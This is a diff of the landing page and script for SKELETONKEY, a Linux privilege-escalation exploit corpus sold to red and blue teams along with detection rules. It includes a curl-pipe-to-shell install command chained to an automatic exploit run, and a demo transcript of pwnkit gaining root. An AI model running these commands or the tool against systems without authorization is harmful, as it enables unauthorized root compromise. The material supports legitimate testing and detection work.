|
||||
countAllStats();
|
||||
const explainEl = document.getElementById('explain-output');
|
||||
if (explainEl) playExplain(explainEl);
|
||||
return;
|
||||
}
|
||||
|
||||
const obs = new IntersectionObserver((entries) => {
|
||||
entries.forEach((e) => {
|
||||
if (e.isIntersecting) {
|
||||
e.target.classList.add('in');
|
||||
// fire one-shot effects when the right section becomes visible
|
||||
if (e.target.id === 'explain') {
|
||||
const out = e.target.querySelector('#explain-output');
|
||||
if (out && !out.dataset.played) {
|
||||
out.dataset.played = '1';
|
||||
playExplain(out);
|
||||
}
|
||||
}
|
||||
obs.unobserve(e.target);
|
||||
}
|
||||
});
|
||||
}, { threshold: 0.15 });
|
||||
|
||||
document.querySelectorAll('.reveal').forEach((el) => obs.observe(el));
|
||||
}
|
||||
|
||||
function countAllStats() {
|
||||
document.querySelectorAll('.stat-chip .num').forEach(countUp);
|
||||
}
|
||||
|
||||
/* fire the stats count-up as soon as the hero shows */
|
||||
function initStatsCountUp() {
|
||||
if (!('IntersectionObserver' in window) || reduceMotion) {
|
||||
countAllStats();
|
||||
return;
|
||||
}
|
||||
const row = document.getElementById('stats-row');
|
||||
if (!row) return;
|
||||
const o = new IntersectionObserver((es) => {
|
||||
if (es[0].isIntersecting) {
|
||||
countAllStats();
|
||||
o.disconnect();
|
||||
}
|
||||
});
|
||||
o.observe(row);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* boot
|
||||
* ============================================================ */
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
typeInstall();
|
||||
initTabs();
|
||||
initReveal();
|
||||
initStatsCountUp();
|
||||
});
|
||||
})();
|
||||
+514
-190
@@ -3,287 +3,611 @@
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SKELETONKEY — Curated Linux LPE corpus with detection rules</title>
|
||||
<meta name="description" content="One curated binary. 28 Linux privilege-escalation exploits from 2016 → 2026. Auditd + sigma + yara + falco rules in the box. One command picks the safest LPE and runs it.">
|
||||
<meta property="og:title" content="SKELETONKEY — Curated Linux LPE corpus">
|
||||
<meta property="og:description" content="28 Linux LPE exploits, 2016 → 2026, with detection rules in the box. One command picks the safest one and runs it.">
|
||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||
<meta name="description" content="One binary. 43 Linux privilege-escalation modules from 2016 to 2026. 28 of 38 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||
<meta property="og:description" content="43 Linux LPE modules; 28 of 38 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
||||
<meta name="twitter:card" content="summary">
|
||||
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
||||
<meta property="og:image:width" content="1200">
|
||||
<meta property="og:image:height" content="630">
|
||||
<meta name="twitter:card" content="summary_large_image">
|
||||
<meta name="twitter:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
||||
<meta name="theme-color" content="#0a0a14">
|
||||
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;700&family=Space+Grotesk:wght@500;700&display=swap" rel="stylesheet">
|
||||
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<!-- gradient mesh background, animated, fixed behind content -->
|
||||
<div class="bg-mesh" aria-hidden="true">
|
||||
<div class="mesh-blob mesh-blob-1"></div>
|
||||
<div class="mesh-blob mesh-blob-2"></div>
|
||||
<div class="mesh-blob mesh-blob-3"></div>
|
||||
</div>
|
||||
|
||||
<nav class="nav">
|
||||
<span class="nav-brand">SKELETONKEY</span>
|
||||
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY"
|
||||
aria-label="View on GitHub">
|
||||
<svg height="20" viewBox="0 0 16 16" width="20" fill="currentColor" aria-hidden="true">
|
||||
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38
|
||||
0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13
|
||||
-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66
|
||||
.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15
|
||||
-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0
|
||||
1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82
|
||||
1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01
|
||||
1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||
</svg>
|
||||
<span>GitHub</span>
|
||||
</a>
|
||||
<div class="container nav-inner">
|
||||
<a class="nav-brand" href="#">
|
||||
<span class="nav-mark" aria-hidden="true">◆</span>
|
||||
SKELETONKEY
|
||||
</a>
|
||||
<div class="nav-links">
|
||||
<a href="#corpus">Corpus</a>
|
||||
<a href="#explain">--explain</a>
|
||||
<a href="#detection">Detection</a>
|
||||
<a href="#quickstart">Quickstart</a>
|
||||
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY" aria-label="GitHub">
|
||||
<svg height="18" viewBox="0 0 16 16" width="18" fill="currentColor" aria-hidden="true">
|
||||
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<!-- ──────────────── HERO ──────────────── -->
|
||||
<header class="hero">
|
||||
<div class="container">
|
||||
<h1>SKELETONKEY</h1>
|
||||
<p class="tag">
|
||||
One curated binary. <strong>28 Linux LPE exploits</strong> from
|
||||
2016 → 2026. Detection rules in the box.
|
||||
<strong>One command picks the safest one and runs it.</strong>
|
||||
<div class="container hero-inner">
|
||||
<div class="hero-eyebrow">
|
||||
<span class="dot dot-pulse"></span>
|
||||
v0.9.11 — released 2026-06-08
|
||||
</div>
|
||||
<h1 class="hero-title">
|
||||
<span class="display-wordmark">SKELETONKEY</span>
|
||||
</h1>
|
||||
<p class="hero-tag">
|
||||
One binary. <strong>43 Linux LPE modules</strong> covering 38 CVEs —
|
||||
<strong>every year 2016 → 2026</strong>. 28 of 38 confirmed against
|
||||
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
|
||||
</p>
|
||||
|
||||
<div class="install-block">
|
||||
<button class="copy" onclick="copyInstall(this)">copy</button>
|
||||
<pre id="install-cmd"><span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& skeletonkey --auto --i-know</pre>
|
||||
<div class="install-bar">
|
||||
<span class="install-dots" aria-hidden="true">
|
||||
<i></i><i></i><i></i>
|
||||
</span>
|
||||
<span class="install-title">terminal</span>
|
||||
<button class="copy" onclick="copyInstall(this)" aria-label="Copy install command">copy</button>
|
||||
</div>
|
||||
<pre id="install-cmd"><span class="prompt">$</span> <span id="install-typed"></span><span class="cursor" id="install-cursor">▋</span></pre>
|
||||
</div>
|
||||
|
||||
<p class="warn">⚠ Authorized testing only — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></p>
|
||||
<div class="stats-row" id="stats-row">
|
||||
<div class="stat-chip"><span class="num" data-target="43">0</span><span>modules</span></div>
|
||||
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
|
||||
<div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
|
||||
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
||||
</div>
|
||||
|
||||
<div class="cta-row">
|
||||
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">Latest release</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY">View on GitHub</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">Full CVE inventory</a>
|
||||
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">
|
||||
↓ Latest release
|
||||
</a>
|
||||
<a class="btn" href="#explain">See <code>--explain</code> in action</a>
|
||||
<a class="btn btn-ghost" href="https://github.com/KaraZajac/SKELETONKEY">
|
||||
<svg height="16" viewBox="0 0 16 16" width="16" fill="currentColor"><path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
|
||||
Source on GitHub
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<p class="hero-warn">Authorized testing only. See <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a>.</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── TRUST STRIP ──────────────── -->
|
||||
<section class="trust-strip">
|
||||
<div class="container">
|
||||
<h2>Why this exists</h2>
|
||||
<p class="lead">
|
||||
Most Linux privesc tooling is broken in one of three ways:
|
||||
</p>
|
||||
<ul class="tight">
|
||||
<li><strong>linux-exploit-suggester / linpeas</strong> — tell you what <em>might</em> work, run nothing</li>
|
||||
<li><strong>auto-root-exploit / kernelpop</strong> — bundle exploits but ship no detection signatures and went stale years ago</li>
|
||||
<li><strong>Per-CVE PoC repos</strong> — one author, one distro, abandoned within months</li>
|
||||
</ul>
|
||||
<p class="lead" style="margin-top:1rem">
|
||||
SKELETONKEY is one binary, actively maintained, with detection
|
||||
rules for every CVE it bundles — same project for red and blue
|
||||
teams.
|
||||
</p>
|
||||
<div class="trust-row">
|
||||
<span class="trust-label">Grounded in authoritative sources</span>
|
||||
<ul class="trust-items">
|
||||
<li>CISA KEV catalog</li>
|
||||
<li>NVD CVE API</li>
|
||||
<li>MITRE ATT&CK</li>
|
||||
<li>kernel.org stable tree</li>
|
||||
<li>Debian Security Tracker</li>
|
||||
<li>NIST CWE</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── --EXPLAIN SHOWCASE ──────────────── -->
|
||||
<section id="explain" class="section section-feature reveal">
|
||||
<div class="container">
|
||||
<h2>Corpus at a glance</h2>
|
||||
|
||||
<div class="stats">
|
||||
<div class="stat">
|
||||
<span class="stat-num">28</span>
|
||||
<span class="stat-label">verified modules</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num green">14</span>
|
||||
<span class="stat-label">🟢 land root by default</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num yellow">14</span>
|
||||
<span class="stat-label">🟡 primitive + opt-in chain</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num">10y</span>
|
||||
<span class="stat-label">2016 → 2026 coverage</span>
|
||||
</div>
|
||||
<div class="section-head">
|
||||
<span class="section-tag">flagship feature</span>
|
||||
<h2>One command. Complete briefing.</h2>
|
||||
<p class="lead">
|
||||
<code>skeletonkey --explain <module></code> renders the page every
|
||||
team needs: CVE / CWE / MITRE ATT&CK / CISA KEV status, host
|
||||
fingerprint, live detect() trace with verdict, OPSEC footprint, and
|
||||
the detection-rule coverage matrix. Triage tickets and SOC handoffs
|
||||
in one paste.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<h3 style="color: var(--green);">🟢 Lands root on a vulnerable host</h3>
|
||||
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Structural exploits + page-cache writes. No per-kernel offsets needed.</p>
|
||||
<div class="terminal-shell">
|
||||
<div class="terminal-bar">
|
||||
<span class="install-dots" aria-hidden="true"><i></i><i></i><i></i></span>
|
||||
<span class="install-title">skk-host ~ $</span>
|
||||
</div>
|
||||
<pre class="terminal-body" id="explain-output"></pre>
|
||||
</div>
|
||||
|
||||
<div class="explain-annotations">
|
||||
<div class="annotation">
|
||||
<span class="anno-num">1</span>
|
||||
<div>
|
||||
<strong>Triage metadata in the header</strong>
|
||||
<p>CWE class, MITRE ATT&CK technique, CISA KEV status with
|
||||
date_added. Fed from <code>tools/refresh-cve-metadata.py</code>
|
||||
which pulls fresh from federal data sources.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">2</span>
|
||||
<div>
|
||||
<strong>Live host fingerprint</strong>
|
||||
<p>Cached once at startup by <code>core/host.c</code>. Every
|
||||
module sees the same kernel / arch / distro / userns / apparmor
|
||||
/ selinux / lockdown picture.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">3</span>
|
||||
<div>
|
||||
<strong>Real detect() trace</strong>
|
||||
<p>The verbose stderr of the module's own probe — each gate
|
||||
fires, each kernel_range entry checked, each verdict justified.
|
||||
No more black-box "VULNERABLE" outputs.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">4</span>
|
||||
<div>
|
||||
<strong>OPSEC footprint</strong>
|
||||
<p>Per-exploit description of what the SOC would see if this
|
||||
fired: file artifacts, dmesg signatures, syscall observables,
|
||||
network activity, cleanup behavior.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── BENTO FEATURES ──────────────── -->
|
||||
<section class="section section-bento reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">capabilities</span>
|
||||
<h2>Built for every side of the desk</h2>
|
||||
</div>
|
||||
|
||||
<div class="bento">
|
||||
<article class="bento-card bento-lg">
|
||||
<div class="bento-icon">⚡</div>
|
||||
<h3>Auto-pick the safest exploit</h3>
|
||||
<p>
|
||||
<code>--auto</code> ranks vulnerable modules by stability
|
||||
(structural escapes > page-cache writes > userspace races
|
||||
> kernel races) and runs the safest one. Never crashes a
|
||||
production box looking for root.
|
||||
</p>
|
||||
<pre class="bento-code">$ skeletonkey --auto --i-know
|
||||
[*] 3 vulnerable; safest is 'pwnkit' (rank 100)
|
||||
[*] launching --exploit pwnkit...
|
||||
# id
|
||||
uid=0(root) gid=0(root)</pre>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🛡</div>
|
||||
<h3>151 detection rules</h3>
|
||||
<p>
|
||||
auditd · sigma · yara · falco. One command emits the corpus for
|
||||
your SIEM. Each rule grounded in the module's own syscalls.
|
||||
</p>
|
||||
<div class="rule-cov">
|
||||
<div class="rule-row"><span>auditd</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
|
||||
<div class="rule-row"><span>sigma</span><span class="rule-bar"><i style="width:100%"></i></span><span>31/31</span></div>
|
||||
<div class="rule-row"><span>yara</span><span class="rule-bar"><i style="width:90.3%"></i></span><span>28/31</span></div>
|
||||
<div class="rule-row"><span>falco</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
|
||||
</div>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-kev">
|
||||
<div class="bento-icon">★</div>
|
||||
<h3>CISA KEV prioritized</h3>
|
||||
<p>
|
||||
13 of 38 CVEs in the corpus are in CISA's Known Exploited
|
||||
Vulnerabilities catalog — actively exploited in the wild.
|
||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🧬</div>
|
||||
<h3>OPSEC notes per exploit</h3>
|
||||
<p>
|
||||
Each module ships a runtime-footprint paragraph: files, dmesg,
|
||||
syscall observables, network, persistence. The inverse of the
|
||||
detection rules — what an attacker would leave behind on
|
||||
<em>your</em> host.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-lg">
|
||||
<div class="bento-icon">🎯</div>
|
||||
<h3>One host fingerprint, every module</h3>
|
||||
<p>
|
||||
<code>core/host.c</code> probes kernel / arch / distro / userns /
|
||||
apparmor / selinux / lockdown / sudo version / polkit version
|
||||
<em>once</em> at startup. Every <code>detect()</code> reads the
|
||||
same cached snapshot, so verdicts stay coherent across the
|
||||
corpus.
|
||||
</p>
|
||||
<pre class="bento-code">struct skeletonkey_host {
|
||||
struct kernel_version kernel;
|
||||
char arch[32], distro_id[64];
|
||||
bool unprivileged_userns_allowed;
|
||||
bool apparmor_restrict_userns;
|
||||
bool kpti_enabled, selinux_enforcing;
|
||||
char meltdown_mitigation[64];
|
||||
char sudo_version[64], polkit_version[64];
|
||||
...
|
||||
};</pre>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">📡</div>
|
||||
<h3>JSON for pipelines</h3>
|
||||
<p>
|
||||
<code>--scan --json</code> emits a stable schema (see
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON_SCHEMA.md</a>)
|
||||
with triage metadata, opsec notes, and rule coverage embedded.
|
||||
Ready for Splunk / Elastic / Sentinel ingest.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🔒</div>
|
||||
<h3>No SaaS. No telemetry.</h3>
|
||||
<p>
|
||||
One static binary. No phone-home, no analytics, no cloud
|
||||
accounts. Reads <code>/proc</code> + <code>/sys</code>, runs the
|
||||
probe, exits. JSON or plain text — your pipeline owns the data.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-vfy">
|
||||
<div class="bento-icon">✓</div>
|
||||
<h3>22 modules empirically verified</h3>
|
||||
<p>
|
||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||
<code>--explain --active</code> per module, and records the
|
||||
verdict. <strong>28 of 38 CVEs</strong> confirmed against
|
||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||
<code>--list</code> shows ✓ per module.
|
||||
</p>
|
||||
</article>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── MODULE CORPUS ──────────────── -->
|
||||
<section id="corpus" class="section reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">corpus</span>
|
||||
<h2>38 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="green">
|
||||
<span class="corpus-dot green"></span>
|
||||
Lands root on a vulnerable host
|
||||
<span class="corpus-h-sub">structural escapes + page-cache writes; no per-kernel offsets needed</span>
|
||||
</h3>
|
||||
<div class="pills">
|
||||
<span class="pill green">copy_fail</span>
|
||||
<span class="pill green">copy_fail_gcm</span>
|
||||
<span class="pill green">dirty_frag_esp</span>
|
||||
<span class="pill green">dirty_frag_esp6</span>
|
||||
<span class="pill green">dirty_frag_rxrpc</span>
|
||||
<span class="pill green">dirty_pipe</span>
|
||||
<span class="pill green">dirty_cow</span>
|
||||
<span class="pill green">pwnkit</span>
|
||||
<span class="pill green">overlayfs</span>
|
||||
<span class="pill green">overlayfs_setuid</span>
|
||||
<span class="pill green kev">★ dirty_pipe</span>
|
||||
<span class="pill green kev">★ dirty_cow</span>
|
||||
<span class="pill green kev">★ pwnkit</span>
|
||||
<span class="pill green kev">★ overlayfs</span>
|
||||
<span class="pill green kev">★ overlayfs_setuid</span>
|
||||
<span class="pill green">cgroup_release_agent</span>
|
||||
<span class="pill green">ptrace_traceme</span>
|
||||
<span class="pill green kev">★ ptrace_traceme</span>
|
||||
<span class="pill green">sudoedit_editor</span>
|
||||
<span class="pill green">sudo_host</span>
|
||||
<span class="pill green">entrybleed</span>
|
||||
</div>
|
||||
|
||||
<h3 style="color: var(--yellow);">🟡 Fires kernel primitive · opt-in <code>--full-chain</code></h3>
|
||||
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Default returns <code>EXPLOIT_FAIL</code> honestly. With <code>--full-chain</code> + resolved offsets, runs the shared modprobe_path finisher.</p>
|
||||
<h3 class="corpus-h" data-color="yellow">
|
||||
<span class="corpus-dot yellow"></span>
|
||||
Fires kernel primitive · opt-in <code>--full-chain</code>
|
||||
<span class="corpus-h-sub">honest <code>EXPLOIT_FAIL</code> default; <code>--full-chain</code> runs the shared modprobe_path finisher</span>
|
||||
</h3>
|
||||
<div class="pills">
|
||||
<span class="pill yellow">nf_tables</span>
|
||||
<span class="pill yellow kev">★ nf_tables</span>
|
||||
<span class="pill yellow">nft_set_uaf</span>
|
||||
<span class="pill yellow">nft_fwd_dup</span>
|
||||
<span class="pill yellow">nft_payload</span>
|
||||
<span class="pill yellow">netfilter_xtcompat</span>
|
||||
<span class="pill yellow kev">★ netfilter_xtcompat</span>
|
||||
<span class="pill yellow">af_packet</span>
|
||||
<span class="pill yellow">af_packet2</span>
|
||||
<span class="pill yellow">af_unix_gc</span>
|
||||
<span class="pill yellow">cls_route4</span>
|
||||
<span class="pill yellow">fuse_legacy</span>
|
||||
<span class="pill yellow kev">★ fuse_legacy</span>
|
||||
<span class="pill yellow">stackrot</span>
|
||||
<span class="pill yellow">sudo_samedit</span>
|
||||
<span class="pill yellow kev">★ sudo_samedit</span>
|
||||
<span class="pill yellow">sequoia</span>
|
||||
<span class="pill yellow">vmwgfx</span>
|
||||
<span class="pill yellow">ptrace_pidfd</span>
|
||||
<span class="pill yellow">cifswitch</span>
|
||||
<span class="pill yellow">nft_catchall</span>
|
||||
</div>
|
||||
|
||||
<p class="corpus-foot">
|
||||
Full inventory with kernel ranges, mitigations, and detection
|
||||
coverage:
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVES.md</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md">KEV cross-reference</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/CVE_METADATA.json">CVE_METADATA.json</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── AUDIENCE ──────────────── -->
|
||||
<section class="section section-audience reveal">
|
||||
<div class="container">
|
||||
<h2>Who it's for</h2>
|
||||
<div class="cards">
|
||||
<div class="card">
|
||||
<h3>🔴 Red team / pentesters</h3>
|
||||
<p>One tested binary. <code>--auto</code> ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. No more curating stale PoC repos.</p>
|
||||
<div class="section-head">
|
||||
<span class="section-tag">who it's for</span>
|
||||
<h2>Same project. Both sides of the engagement.</h2>
|
||||
</div>
|
||||
|
||||
<div class="audience-grid">
|
||||
<div class="audience-card audience-red">
|
||||
<div class="audience-icon">🔴</div>
|
||||
<h3>Red team / pentesters</h3>
|
||||
<p>
|
||||
<code>--auto</code> picks the safest exploit and runs it. Honest
|
||||
scope reporting — never claims root it didn't actually get.
|
||||
Per-exploit OPSEC notes tell you what telemetry you'll leave.
|
||||
No more curating stale PoC repos.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/README.md" class="audience-link">Walkthrough →</a>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🔵 Blue team / SOC</h3>
|
||||
<p>Auditd + sigma + yara + falco rules for every CVE. One command ships SIEM coverage: <code>--detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules</code>.</p>
|
||||
<div class="audience-card audience-blue">
|
||||
<div class="audience-icon">🔵</div>
|
||||
<h3>Blue team / SOC</h3>
|
||||
<p>
|
||||
One command ships SIEM coverage for the entire corpus.
|
||||
<code>--explain</code> renders a triage briefing per CVE with
|
||||
CWE / ATT&CK / KEV / OPSEC — paste into the ticket.
|
||||
KEV-prioritized so you fix what attackers are already using.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md" class="audience-link">Playbook →</a>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🛠 Sysadmins</h3>
|
||||
<p><code>skeletonkey --scan</code> (no sudo needed) tells you which boxes still need patching. JSON output for CI gates. Fleet-scan tool included. No SaaS, no telemetry.</p>
|
||||
<div class="audience-card audience-gray">
|
||||
<div class="audience-icon">🛠</div>
|
||||
<h3>Sysadmins / IT</h3>
|
||||
<p>
|
||||
<code>--scan</code> works without sudo. JSON output for CI
|
||||
gates. Fleet-scan helper bundled. Compatible with everything
|
||||
back to glibc 2.17 via the static-musl binary. No SaaS,
|
||||
no analytics, no cloud accounts.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md" class="audience-link">JSON schema →</a>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🎓 CTF / training</h3>
|
||||
<p>Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. Detection rules let you practice both sides.</p>
|
||||
<div class="audience-card audience-purple">
|
||||
<div class="audience-icon">🎓</div>
|
||||
<h3>Researchers / CTF</h3>
|
||||
<p>
|
||||
38 CVEs, 10-year span, each with the original PoC author
|
||||
credited and the kernel-range citation auditable.
|
||||
<code>--explain</code> shows the reasoning chain; detection
|
||||
rules let you practice both sides. Source is the documentation.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md" class="audience-link">Architecture →</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── HONESTY CALLOUT ──────────────── -->
|
||||
<section class="section section-callout reveal">
|
||||
<div class="container">
|
||||
<h2>What it looks like</h2>
|
||||
<p class="lead"><code>--auto</code> on a vulnerable Ubuntu 22.04 box:</p>
|
||||
|
||||
<pre class="code"><span class="prompt">$</span> id
|
||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
<span class="hl-muted">[*]</span> auto: host=demo kernel=5.15.0-56-generic arch=x86_64
|
||||
<span class="hl-muted">[*]</span> auto: scanning 31 modules for vulnerabilities...
|
||||
<span class="hl-green">[+]</span> auto: dirty_pipe <span class="hl-yellow">VULNERABLE</span> (safety rank 90)
|
||||
<span class="hl-green">[+]</span> auto: cgroup_release_agent <span class="hl-yellow">VULNERABLE</span> (safety rank 98)
|
||||
<span class="hl-green">[+]</span> auto: pwnkit <span class="hl-yellow">VULNERABLE</span> (safety rank 100)
|
||||
|
||||
<span class="hl-muted">[*]</span> auto: 3 vulnerable modules found. Safest is <span class="hl-accent">'pwnkit'</span> (rank 100).
|
||||
<span class="hl-muted">[*]</span> auto: launching --exploit pwnkit...
|
||||
|
||||
<span class="hl-green">[+]</span> pwnkit: writing gconv-modules cache + payload.so...
|
||||
<span class="hl-green">[+]</span> pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||
<span class="hl-green">#</span> id
|
||||
uid=0(root) gid=0(root) groups=0(root)</pre>
|
||||
|
||||
<p style="color: var(--text-muted); font-size: 0.92rem; margin-top: 1rem">
|
||||
Safety ranking goes <strong>structural escapes</strong> →
